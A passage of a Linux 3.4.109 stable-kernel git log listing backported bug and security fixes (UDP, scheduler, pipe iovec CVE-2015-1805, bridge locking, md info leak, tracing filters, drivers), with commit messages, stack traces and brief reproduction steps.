commit 4a55c0cfdd8a8b0c39eba5e696c36c33d0879684
Author: Zefan Li <lizefan@huawei.com>
Date:   Fri Sep 18 09:20:47 2015 +0800

    Linux 3.4.109

commit 1c50a0ae29d0224bd75ff1ace8819ae1f266bf8a
Author: Eric Dumazet <edumazet@google.com>
Date:   Sat May 30 09:16:53 2015 -0700

    udp: fix behavior of wrong checksums
    
    commit beb39db59d14990e401e235faf66a6b9b31240b0 upstream.
    
    We have two problems in UDP stack related to bogus checksums :
    
    1) We return -EAGAIN to application even if receive queue is not empty.
       This breaks applications using edge trigger epoll()
    
    2) Under UDP flood, we can loop forever without yielding to other
       processes, potentially hanging the host, especially on non SMP.
    
    This patch is an attempt to make things better.
    
    We might in the future add extra support for rt applications
    wanting to better control time spent doing a recv() in a hostile
    environment. For example we could validate checksums before queuing
    packets in socket receive queue.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Willem de Bruijn <willemb@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit aaedb09057b05c7c9e213dc465bff5f70e708535
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Fri Feb 7 20:58:41 2014 +0100

    sched: Queue RT tasks to head when prio drops
    
    commit 81a44c5441d7f7d2c3dc9105f4d65ad0d5818617 upstream.
    
    The following scenario does not work correctly:
    
    Runqueue of CPUx contains two runnable and pinned tasks:
    
     T1: SCHED_FIFO, prio 80
     T2: SCHED_FIFO, prio 80
    
    T1 is on the cpu and executes the following syscalls (classic priority
    ceiling scenario):
    
     sys_sched_setscheduler(pid(T1), SCHED_FIFO, .prio = 90);
     ...
     sys_sched_setscheduler(pid(T1), SCHED_FIFO, .prio = 80);
     ...
    
    Now T1 gets preempted by T3 (SCHED_FIFO, prio 95). After T3 goes back
    to sleep the scheduler picks T2. Surprise!
    
    The same happens w/o actual preemption when T1 is forced into the
    scheduler due to a sporadic NEED_RESCHED event. The scheduler invokes
    pick_next_task() which returns T2. So T1 gets preempted and scheduled
    out.
    
    This happens because sched_setscheduler() dequeues T1 from the prio 90
    list and then enqueues it on the tail of the prio 80 list behind T2.
    This violates the POSIX spec and surprises user space which relies on
    the guarantee that SCHED_FIFO tasks are not scheduled out unless they
    give the CPU up voluntarily or are preempted by a higher priority
    task. In the latter case the preempted task must get back on the CPU
    after the preempting task schedules out again.
    
    We fixed a similar issue already in commit 60db48c (sched: Queue a
    deboosted task to the head of the RT prio queue). The same treatment
    is necessary for sched_setscheduler(). So enqueue to head of the prio
    bucket list if the priority of the task is lowered.
    
    It might be possible that existing user space relies on the current
    behaviour, but it can be considered highly unlikely due to the corner
    case nature of the application scenario.
    
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Signed-off-by: Peter Zijlstra <peterz@infradead.org>
    Link: http://lkml.kernel.org/r/1391803122-4425-6-git-send-email-bigeasy@linutronix.de
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a39bf4a8e29c7336c0c72652b7d0dd1cd1b13c51
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jun 15 03:51:55 2015 +0100

    pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic
    
    pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
    the first time atomically and the second time not.  The second attempt
    needs to continue from the iovec position, pipe buffer offset and
    remaining length where the first attempt failed, but currently the
    pipe buffer offset and remaining length are reset.  This will corrupt
    the piped data (possibly also leading to an information leak between
    processes) and may also corrupt kernel memory.
    
    This was fixed upstream by commits f0d1bec9d58d ("new helper:
    copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to
    copy_page_to_iter()"), but those aren't suitable for stable.  This fix
    for older kernel versions was made by Seth Jennings for RHEL and I
    have extracted it from their update.
    
    CVE-2015-1805
    
    References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit bee5f3e274eef419680b1349540a9d8032c99289
Author: Ralf Baechle <ralf@linux-mips.org>
Date:   Fri Jun 19 00:46:53 2015 +0200

    NET: ROSE: Don't dereference NULL neighbour pointer.
    
    commit d496f7842aada20c61e6044b3395383fa972872c upstream.
    
    A ROSE socket doesn't necessarily always have a neighbour pointer so check
    if the neighbour pointer is valid before dereferencing it.
    
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Tested-by: Bernard Pidoux <f6bvp@free.fr>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit bd3fa7572a3793590ac024de5800b98cf2a1acfc
Author: Dan Williams <dan.j.williams@intel.com>
Date:   Wed Jun 10 23:47:14 2015 -0400

    block: fix ext_dev_lock lockdep report
    
    commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.
    
     =================================
     [ INFO: inconsistent lock state ]
     4.1.0-rc7+ #217 Tainted: G           O
     ---------------------------------
     inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
     swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
      (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
     {SOFTIRQ-ON-W} state was registered at:
       [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
       [<ffffffff810c1947>] lock_acquire+0xb7/0x290
       [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
       [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0  <-- take the lock in process context
    [..]
      [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
      [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
      [<ffffffff810c1947>] lock_acquire+0xb7/0x290
      [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
      [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
      [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
      [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70    <-- take the lock in softirq
      [<ffffffff8143bfec>] part_release+0x1c/0x50
      [<ffffffff8158edf6>] device_release+0x36/0xb0
      [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
      [<ffffffff8145aad0>] kobject_put+0x30/0x70
      [<ffffffff8158f147>] put_device+0x17/0x20
      [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
      [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
      [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
      [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
      [<ffffffff81067e2e>] __do_softirq+0xde/0x600
    
    Neil sees this in his tests and it also triggers on pmem driver unbind
    for the libnvdimm tests.  This fix is on top of an initial fix by Keith
    for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
    Fix dev_t minor allocation lifetime".  Both this and 2da78092dda1 are
    candidates for -stable.
    
    Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime")
    Cc: Keith Busch <keith.busch@intel.com>
    Reported-by: NeilBrown <neilb@suse.de>
    Signed-off-by: Dan Williams <dan.j.williams@intel.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 59c4dd5ef990a706cde168d0feec959fbbefb85a
Author: Vasily Averin <vvs@parallels.com>
Date:   Mon May 5 00:17:48 2014 +0400

    bridge: superfluous skb->nfct check in br_nf_dev_queue_xmit
    
    commit aff09ce303f83bd370772349238482ae422a2341 upstream.
    
    Currently bridge can silently drop ipv4 fragments.
    If node have loaded nf_defrag_ipv4 module but have no nf_conntrack_ipv4,
    br_nf_pre_routing defragments incoming ipv4 fragments
    but nfct check in br_nf_dev_queue_xmit does not allow re-fragment combined
    packet back, and therefore it is dropped in br_dev_queue_push_xmit without
    incrementing of any failcounters
    
    It seems the only way to hit the ip_fragment code in the bridge xmit
    path is to have a fragment list whose reassembled fragments go over
    the mtu. This only happens if nf_defrag is enabled. Thanks to
    Florian Westphal for providing feedback to clarify this.
    
    Defragmentation ipv4 is required not only in conntracks but at least in
    TPROXY target and socket match, therefore #ifdef is changed from
    NF_CONNTRACK_IPV4 to NF_DEFRAG_IPV4
    
    Signed-off-by: Vasily Averin <vvs@openvz.org>
    Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
    Cc: Kirill Tkhai <ktkhai@odin.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit dbccb188fd76df628517b1f761c0dd3f9fa14e2e
Author: Junling Zheng <zhengjunling@huawei.com>
Date:   Mon Jun 1 09:28:00 2015 +0000

    net: socket: Fix the wrong returns for recvmsg and sendmsg
    
    Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream.
    
    We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL
    was expected.
    
    We tested it through the recvmsg01 testcase come from LTP testsuit. It set
    msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is
    unexpected (errno 22 is expected):
    
    recvmsg01    4  TFAIL  :  invalid socket length ; returned -1 (expected -1),
    errno 14 (expected 22)
    
    Linux mainline has no this bug for commit 08adb7dab fixes it accidentally.
    However, it is too large and complex to be backported to LTS 3.10.
    
    Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match
    copy_msghdr_from_user() behaviour) made get_compat_msghdr() return
    error if msg_sys->msg_namelen was negative, which changed the behaviors
    of recvmsg and sendmsg syscall in a lib32 system:
    
    Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would
    return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen
    was invalid and then syscall returned -EINVAL, which is correct.
    
    And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will
    fail and wants to return -EINVAL, however, the outer syscall will return
    -EFAULT directly, which is unexpected.
    
    This patch gets the return value of get_compat_msghdr() as well as
    copy_msghdr_from_user(), then returns this expected value if
    get_compat_msghdr() fails.
    
    Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour)
    Signed-off-by: Junling Zheng <zhengjunling@huawei.com>
    Signed-off-by: Hanbing Xu <xuhanbing@huawei.com>
    Cc: Li Zefan <lizefan@huawei.com>
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Cc: David Miller <davem@davemloft.net>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit e08ca6278c904bb6bbaadccdf6915b519c1fa142
Author: Xie XiuQi <xiexiuqi@huawei.com>
Date:   Fri Jan 24 14:00:52 2014 -0600

    ipmi: fix timeout calculation when bmc is disconnected
    
    commit e21404dc0ac7ac971c1e36274b48bb460463f4e5 upstream.
    
    Loading ipmi_si module while bmc is disconnected, we found the timeout
    is longer than 5 secs.  Actually it takes about 3 mins and 20
    secs.(HZ=250)
    
    error message as below:
      Dec 12 19:08:59 linux kernel: IPMI BT: timeout in RD_WAIT [ ] 1 retries left
      Dec 12 19:08:59 linux kernel: BT: write 4 bytes seq=0x01 03 18 00 01
      [...]
      Dec 12 19:12:19 linux kernel: IPMI BT: timeout in RD_WAIT [ ]
      Dec 12 19:12:19 linux kernel: failed 2 retries, sending error response
      Dec 12 19:12:19 linux kernel: IPMI: BT reset (takes 5 secs)
      Dec 12 19:12:19 linux kernel: IPMI BT: flag reset [ ]
    
    Function wait_for_msg_done() use schedule_timeout_uninterruptible(1) to
    sleep 1 tick, so we should subtract jiffies_to_usecs(1) instead of 100
    usecs from timeout.
    
    Reported-by: Hu Shiyuan <hushiyuan@huawei.com>
    Signed-off-by: Xie XiuQi <xiexiuqi@huawei.com>
    Signed-off-by: Corey Minyard <cminyard@mvista.com>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b10e02daa7abe24c0431cc7a41ead5f628839c01
Author: Suresh Siddha <suresh.b.siddha@intel.com>
Date:   Thu Sep 20 11:01:49 2012 -0700

    x86, kvm: fix kvm's usage of kernel_fpu_begin/end()
    
    commit b1a74bf8212367be2b1d6685c11a84e056eaaaf1 upstream.
    
    Preemption is disabled between kernel_fpu_begin/end() and as such
    it is not a good idea to use these routines in kvm_load/put_guest_fpu()
    which can be very far apart.
    
    kvm_load/put_guest_fpu() routines are already called with
    preemption disabled and KVM already uses the preempt notifier to save
    the guest fpu state using kvm_put_guest_fpu().
    
    So introduce __kernel_fpu_begin/end() routines which don't touch
    preemption and use them instead of kernel_fpu_begin/end()
    for KVM's use model of saving/restoring guest FPU state.
    
    Also with this change (and with eagerFPU model), fix the host cr0.TS vm-exit
    state in the case of VMX. For eagerFPU case, host cr0.TS is always clear.
    So no need to worry about it. For the traditional lazyFPU restore case,
    change the cr0.TS bit for the host state during vm-exit to be always clear
    and cr0.TS bit is set in the __vmx_load_host_state() when the FPU
    (guest FPU or the host task's FPU) state is not active. This ensures
    that the host/guest FPU state is properly saved, restored
    during context-switch and with interrupts (using irq_fpu_usable()) not
    stomping on the active FPU state.
    
    Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
    Link: http://lkml.kernel.org/r/1348164109.26695.338.camel@sbsiddha-desk.sc.intel.com
    Cc: Avi Kivity <avi@redhat.com>
    Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>
    [xr: Backported to 3.4: Adjust context]
    Signed-off-by: Rui Xiang <rui.xiang@huawei.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ac573c10cbf023a905dc15c5a2f91887b56ae5a7
Author: Suresh Siddha <suresh.b.siddha@intel.com>
Date:   Fri Aug 24 14:12:59 2012 -0700

    x86, kvm: use kernel_fpu_begin/end() in kvm_load/put_guest_fpu()
    
    commit 9c1c3fac53378c9782c18f80107965578d7b7167 upstream.
    
    kvm's guest fpu save/restore should be wrapped around
    kernel_fpu_begin/end(). This will avoid for example taking a DNA
    in kvm_load_guest_fpu() when it tries to load the fpu immediately
    after doing unlazy_fpu() on the host side.
    
    More importantly this will prevent the host process fpu from being
    corrupted.
    
    Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
    Link: http://lkml.kernel.org/r/1345842782-24175-4-git-send-email-suresh.b.siddha@intel.com
    Cc: Avi Kivity <avi@redhat.com>
    Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
    Cc: Rui Xiang <rui.xiang@huawei.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 7014d74fb26f9adbd5e275f1858c2aae16e35769
Author: David S. Miller <davem@davemloft.net>
Date:   Fri May 1 22:02:47 2015 -0400

    ipv4: Missing sk_nulls_node_init() in ping_unhash().
    
    commit a134f083e79fb4c3d0a925691e732c56911b4326 upstream.
    
    If we don't do that, then the poison value is left in the ->pprev
    backlink.
    
    This can cause crashes if we do a disconnect, followed by a connect().
    
    Tested-by: Linus Torvalds <torvalds@linux-foundation.org>
    Reported-by: Wen Xu <hotdog3645@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 842c36214f1d1715a30ede9430658411a349c839
Author: Benjamin Randazzo <benjamin@randazzo.fr>
Date:   Sat Jul 25 16:36:50 2015 +0200

    md: use kzalloc() when bitmap is disabled
    
    commit b6878d9e03043695dbf3fa1caa6dfc09db225b16 upstream.
    
    In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a
    mdu_bitmap_file_t called "file".
    
    5769         file = kmalloc(sizeof(*file), GFP_NOIO);
    5770         if (!file)
    5771                 return -ENOMEM;
    
    This structure is copied to user space at the end of the function.
    
    5786         if (err == 0 &&
    5787             copy_to_user(arg, file, sizeof(*file)))
    5788                 err = -EFAULT
    
    But if bitmap is disabled only the first byte of "file" is initialized
    with zero, so it's possible to read some bytes (up to 4095) of kernel
    space memory from user space. This is an information leak.
    
    5775         /* bitmap disabled, zero the first byte and copy out */
    5776         if (!mddev->bitmap_info.file)
    5777                 file->pathname[0] = '\0';
    
    Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr>
    Signed-off-by: NeilBrown <neilb@suse.com>
    [lizf: Backported to 3.4: fix both branches]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 97186c0935bcdf8b9a72d1d7063577c845c25ef9
Author: Jan Kara <jack@suse.cz>
Date:   Wed Jan 7 13:49:08 2015 +0100

    udf: Check length of extended attributes and allocation descriptors
    
    commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream.
    
    Check length of extended attributes and allocation descriptors when
    loading inodes from disk. Otherwise corrupted filesystems could confuse
    the code and make the kernel oops.
    
    Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no>
    Signed-off-by: Jan Kara <jack@suse.cz>
    [lizf: Backported to 3.4:
     - call make_bad_inode() and then return
     - relace bs with inode->i_sb->s_blocksize]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ea1e8ee07cdf7405111cfa9236935b3da1075f56
Author: Steven Rostedt <rostedt@goodmis.org>
Date:   Mon Jun 15 17:50:25 2015 -0400

    tracing: Have filter check for balanced ops
    
    commit 2cf30dc180cea808077f003c5116388183e54f9e upstream.
    
    When the following filter is used it causes a warning to trigger:
    
     # cd /sys/kernel/debug/tracing
     # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
    -bash: echo: write error: Invalid argument
     # cat events/ext4/ext4_truncate_exit/filter
    ((dev==1)blocks==2)
    ^
    parse_error: No error
    
     ------------[ cut here ]------------
     WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
     Modules linked in: bnep lockd grace bluetooth  ...
     CPU: 3 PID: 1223 Comm: bash Tainted: G        W       4.1.0-rc3-test+ #450
     Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
      0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
      0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
      ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
     Call Trace:
      [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e
      [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
      [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
      [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
      [<ffffffff81159065>] replace_preds+0x3c5/0x990
      [<ffffffff811596b2>] create_filter+0x82/0xb0
      [<ffffffff81159944>] apply_event_filter+0xd4/0x180
      [<ffffffff81152bbf>] event_filter_write+0x8f/0x120
      [<ffffffff811db2a8>] __vfs_write+0x28/0xe0
      [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
      [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
      [<ffffffff811dc408>] vfs_write+0xb8/0x1b0
      [<ffffffff811dc72f>] SyS_write+0x4f/0xb0
      [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a
     ---[ end trace e11028bd95818dcd ]---
    
    Worse yet, reading the error message (the filter again) it says that
    there was no error, when there clearly was. The issue is that the
    code that checks the input does not check for balanced ops. That is,
    having an op between a closed parenthesis and the next token.
    
    This would only cause a warning, and fail out before doing any real
    harm, but it should still not caues a warning, and the error reported
    should work:
    
     # cd /sys/kernel/debug/tracing
     # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
    -bash: echo: write error: Invalid argument
     # cat events/ext4/ext4_truncate_exit/filter
    ((dev==1)blocks==2)
    ^
    parse_error: Meaningless filter expression
    
    And give no kernel warning.
    
    Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home
    
    Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
    Cc: Ingo Molnar <mingo@redhat.com>
    Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
    Reported-by: Vince Weaver <vincent.weaver@maine.edu>
    Tested-by: Vince Weaver <vincent.weaver@maine.edu>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    [lizf: Backported to 3.4: remove the check for OP_NOT, as it's not supported.]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c0e3f102c50b6bab71d4fe4232e45bf5c67b8be0
Author: Wang Long <long.wanglong@huawei.com>
Date:   Wed Jun 10 08:12:37 2015 +0000

    ring-buffer-benchmark: Fix the wrong sched_priority of producer
    
    commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
    
    The producer should be used producer_fifo as its sched_priority,
    so correct it.
    
    Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com
    
    Signed-off-by: Wang Long <long.wanglong@huawei.com>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 501e81d5d6b9434037851749c6194bf3a237b281
Author: Nikolay Aleksandrov <razor@blackwall.org>
Date:   Tue Jun 9 10:23:57 2015 -0700

    bridge: fix multicast router rlist endless loop
    
    commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 upstream.
    
    Since the addition of sysfs multicast router support if one set
    multicast_router to "2" more than once, then the port would be added to
    the hlist every time and could end up linking to itself and thus causing an
    endless loop for rlist walkers.
    So to reproduce just do:
    echo 2 > multicast_router; echo 2 > multicast_router;
    in a bridge port and let some igmp traffic flow, for me it hangs up
    in br_multicast_flood().
    Fix this by adding a check in br_multicast_add_router() if the port is
    already linked.
    The reason this didn't happen before the addition of multicast_router
    sysfs entries is because there's a !hlist_unhashed check that prevents
    it.
    
    Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org>
    Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries")
    Acked-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 4845c5376dbbf46853b53d5241fbe4d4a2c94b59
Author: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
Date:   Sat Jun 6 06:49:00 2015 -0700

    bridge: disable softirqs around br_fdb_update to avoid lockup
    
    commit c4c832f89dc468cf11dc0dd17206bace44526651 upstream.
    
    br_fdb_update() can be called in process context in the following way:
    br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set)
    so we need to disable softirqs because there are softirq users of the
    hash_lock. One easy way to reproduce this is to modify the bridge utility
    to set NTF_USE, enable stp and then set maxageing to a low value so
    br_fdb_cleanup() is called frequently and then just add new entries in
    a loop. This happens because br_fdb_cleanup() is called from timer/softirq
    context. The spin locks in br_fdb_update were _bh before commit f8ae737deea1
    ("[BRIDGE]: forwarding remove unneeded preempt and bh diasables")
    and at the time that commit was correct because br_fdb_update() couldn't be
    called from process context, but that changed after commit:
    292d1398983f ("bridge: add NTF_USE support")
    Using local_bh_disable/enable around br_fdb_update() allows us to keep
    using the spin_lock/unlock in br_fdb_update for the fast-path.
    
    Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
    Fixes: 292d1398983f ("bridge: add NTF_USE support")
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0b6afbdd165890743b64c57c07cbc4e6e3174b35
Author: Wilson Kok <wkok@cumulusnetworks.com>
Date:   Fri Jun 5 00:52:57 2015 -0700

    bridge: use _bh spinlock variant for br_fdb_update to avoid lockup
    
    commit 1d7c49037b12016e7056b9f2c990380e2187e766 upstream.
    
    br_fdb_update() can be called in process context in the following way:
    br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set)
    so we need to use spin_lock_bh because there are softirq users of the
    hash_lock. One easy way to reproduce this is to modify the bridge utility
    to set NTF_USE, enable stp and then set maxageing to a low value so
    br_fdb_cleanup() is called frequently and then just add new entries in
    a loop. This happens because br_fdb_cleanup() is called from timer/softirq
    context. These locks were _bh before commit f8ae737deea1
    ("[BRIDGE]: forwarding remove unneeded preempt and bh diasables")
    and at the time that commit was correct because br_fdb_update() couldn't be
    called from process context, but that changed after commit:
    292d1398983f ("bridge: add NTF_USE support")
    
    Signed-off-by: Wilson Kok <wkok@cumulusnetworks.com>
    Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
    Fixes: 292d1398983f ("bridge: add NTF_USE support")
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a5c75be0e779d38c970b4a2129c238a5bab0dad4
Author: James Hogan <james.hogan@imgtec.com>
Date:   Thu Jun 4 13:25:27 2015 +0100

    MIPS: Fix enabling of DEBUG_STACKOVERFLOW
    
    commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
    
    Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added
    kernel stack overflow detection, however it only enabled it conditional
    upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
    actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
    which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
    switch it to using that definition instead.
    
    Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: Adam Jiang <jiang.adam@gmail.com>
    Cc: linux-mips@linux-mips.org
    Patchwork: http://patchwork.linux-mips.org/patch/10531/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 80de203ba1cd3401e8ad7e0044f86c5dc7da3a26
Author: John D. Blair <johnb@candicontrols.com>
Date:   Thu Jun 4 13:18:19 2015 -0700

    USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
    
    commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
    
    Added the USB serial device ID for the HubZ dual ZigBee
    and Z-Wave radio dongle.
    
    Signed-off-by: John D. Blair <johnb@candicontrols.com>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit d2d95a7121c2949a300af324dc96c8c4742c594a
Author: Clemens Ladisch <clemens@ladisch.de>
Date:   Wed Jun 3 11:36:42 2015 +0200

    ALSA: usb-audio: add MAYA44 USB+ mixer control names
    
    commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.
    
    Add mixer control names for the ESI Maya44 USB+ (which appears to be
    identical width the AudioTrak Maya44 USB).
    
    Reported-by: nightmixes <nightmixes@gmail.com>
    Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 92ba0b01c78517019125db164293af29170da4e7
Author: Takashi Iwai <tiwai@suse.de>
Date:   Tue Jun 2 19:57:08 2015 +0200

    ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
    
    commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.
    
    Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to
    make the sound working like other Aspire models.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 8140972f4051a5cda3cc59d1a7b741e5bfcde70a
Author: Hans de Goede <hdegoede@redhat.com>
Date:   Tue Jun 2 10:40:50 2015 -0700

    Input: elantech - fix detection of touchpads where the revision matches a known rate
    
    commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream.
    
    Make the check to skip the rate check more lax, so that it applies
    to all hw_version 4 models.
    
    This fixes the touchpad not being detected properly on Asus PU551LA
    laptops.
    
    Reported-and-tested-by: David Zafra Gómez <dezeta@klo.es>
    Signed-off-by: Hans de Goede <hdegoede@redhat.com>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 39af20b54f8a3857394c09f62ed81a7e256fabb3
Author: Sasha Levin <sasha.levin@oracle.com>
Date:   Wed Jan 28 15:30:43 2015 -0500

    vfs: read file_handle only once in handle_to_path
    
    commit 161f873b89136eb1e69477c847d5a5033239d9ba upstream.
    
    We used to read file_handle twice.  Once to get the amount of extra
    bytes, and once to fetch the entire structure.
    
    This may be problematic since we do size verifications only after the
    first read, so if the number of extra bytes changes in userspace between
    the first and second calls, we'll have an incoherent view of
    file_handle.
    
    Instead, read the constant size once, and copy that over to the final
    structure without having to re-read it again.
    
    Signed-off-by: Sasha Levin <sasha.levin@oracle.com>
    Cc: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 67e446d9b790df4c0c5c53619a208c2826b1ec64
Author: Ville Syrjälä <ville.syrjala@linux.intel.com>
Date:   Thu May 28 18:32:36 2015 +0300

    drm/i915: Don't skip request retirement if the active list is empty
    
    commit 0aedb1626566efd72b369c01992ee7413c82a0c5 upstream.
    
    Apparently we can have requests even if though the active list is empty,
    so do the request retirement regardless of whether there's anything
    on the active list.
    
    The way it happened here is that during suspend intel_ring_idle()
    notices the olr hanging around and then proceeds to get rid of it by
